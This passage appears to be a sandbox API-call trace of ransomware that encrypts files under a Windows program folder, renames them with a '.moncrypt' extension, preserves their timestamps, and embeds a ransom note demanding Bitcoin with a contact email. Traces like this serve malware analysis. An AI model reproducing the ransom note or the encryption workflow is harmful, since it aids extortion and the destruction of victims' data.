lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl", lpUsedDefaultChar=0x0) returned 77 [0059.177] CharLowerBuffW (in: lpsz=".xsl", cchLength=0x4 | out: lpsz=".xsl") returned 0x4 [0059.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xsl", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xslices\\AS OLEDB\\10\\Cartridges\\msjet.xsl", lpUsedDefaultChar=0x0) returned 4 [0059.177] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 0x54e280 [0059.177] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0059.177] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0059.177] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl", dwFileAttributes=0x20) returned 1 [0059.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.178] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.moncrypt")) returned 1 [0059.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.179] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0059.179] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x712e [0059.179] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0059.179] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0059.181] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.181] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.181] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.181] GlobalUnlock (hMem=0x44000c) returned 0 [0059.181] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0059.181] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.182] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.182] GlobalUnlock (hMem=0x44000c) returned 0 [0059.182] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0059.182] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.182] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.182] GlobalUnlock (hMem=0x440004) returned 0 [0059.182] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.182] GlobalUnlock (hMem=0x44000c) returned 0 [0059.182] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.182] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.182] GlobalUnlock (hMem=0x44000c) returned 0 [0059.182] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0059.182] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.182] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.182] GlobalUnlock (hMem=0x44000c) returned 0 [0059.182] ReadFile (in: hFile=0x18c, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0059.182] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0059.182] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0059.182] SetFilePointer (in: hFile=0x18c, lDistanceToMove=28974, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x712e [0059.182] WriteFile (in: hFile=0x18c, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0059.182] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0059.183] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0059.194] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0059.194] CloseHandle (hObject=0x18c) returned 1 [0059.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.195] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0059.195] CloseHandle (hObject=0x18c) returned 1 [0059.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.moncrypt", dwFileAttributes=0x20) returned 1 [0059.196] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.196] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.196] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.196] GlobalUnlock (hMem=0x44000c) returned 0 [0059.196] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.196] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.196] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.196] GlobalUnlock (hMem=0x44000c) returned 0 [0059.196] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.196] GlobalUnlock (hMem=0x440004) returned 0 [0059.196] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446f93c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x446f93c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x446f93c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0059.196] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0059.196] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0059.196] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.197] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.197] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0059.197] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.197] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.197] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0059.197] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.197] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0059.197] CloseHandle (hObject=0x18c) returned 1 [0059.197] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0059.197] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.197] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.197] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.197] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.197] GlobalUnlock (hMem=0x440004) returned 0 [0059.197] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.197] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.197] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.198] GlobalUnlock (hMem=0x440004) returned 0 [0059.198] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.198] GlobalUnlock (hMem=0x44000c) returned 0 [0059.198] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.198] CharLowerBuffW (in: lpsz="sql2000.xsl", cchLength=0xb | out: lpsz="sql2000.xsl") returned 0xb [0059.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.198] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl", cchWideChar=79, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl", lpUsedDefaultChar=0x0) returned 79 [0059.198] CharLowerBuffW (in: lpsz=".xsl", cchLength=0x4 | out: lpsz=".xsl") returned 0x4 [0059.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xsl", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xslices\\AS OLEDB\\10\\Cartridges\\sql2000.xsl", lpUsedDefaultChar=0x0) returned 4 [0059.199] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 0x54e280 [0059.199] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0059.199] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0059.199] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl", dwFileAttributes=0x20) returned 1 [0059.200] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.200] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.moncrypt")) returned 1 [0059.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.201] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0059.201] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x851c [0059.201] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0059.201] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0059.203] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.203] GlobalLock (hMem=0x440004) returned 0x55db88 [0059.203] GlobalHandle (pMem=0x55db88) returned 0x440004 [0059.203] GlobalUnlock (hMem=0x440004) returned 0 [0059.203] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0059.203] GlobalLock (hMem=0x440004) returned 0x55db88 [0059.204] GlobalHandle (pMem=0x55db88) returned 0x440004 [0059.204] GlobalUnlock (hMem=0x440004) returned 0 [0059.204] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0059.204] GlobalLock (hMem=0x440004) returned 0x55db88 [0059.204] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.204] GlobalUnlock (hMem=0x44000c) returned 0 [0059.204] GlobalHandle (pMem=0x55db88) returned 0x440004 [0059.204] GlobalUnlock (hMem=0x440004) returned 0 [0059.204] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.204] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.204] GlobalUnlock (hMem=0x440004) returned 0 [0059.204] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0059.204] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.204] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.204] GlobalUnlock (hMem=0x440004) returned 0 [0059.204] ReadFile (in: hFile=0x18c, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0059.204] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0059.204] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0059.205] SetFilePointer (in: hFile=0x18c, lDistanceToMove=34076, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x851c [0059.205] WriteFile (in: hFile=0x18c, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0059.205] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0059.205] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0059.216] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0059.216] CloseHandle (hObject=0x18c) returned 1 [0059.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.217] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0059.217] CloseHandle (hObject=0x18c) returned 1 [0059.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.moncrypt", dwFileAttributes=0x20) returned 1 [0059.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.218] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.218] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.218] GlobalUnlock (hMem=0x440004) returned 0 [0059.218] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.218] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.218] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.218] GlobalUnlock (hMem=0x440004) returned 0 [0059.218] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.218] GlobalUnlock (hMem=0x44000c) returned 0 [0059.218] CompareStringA 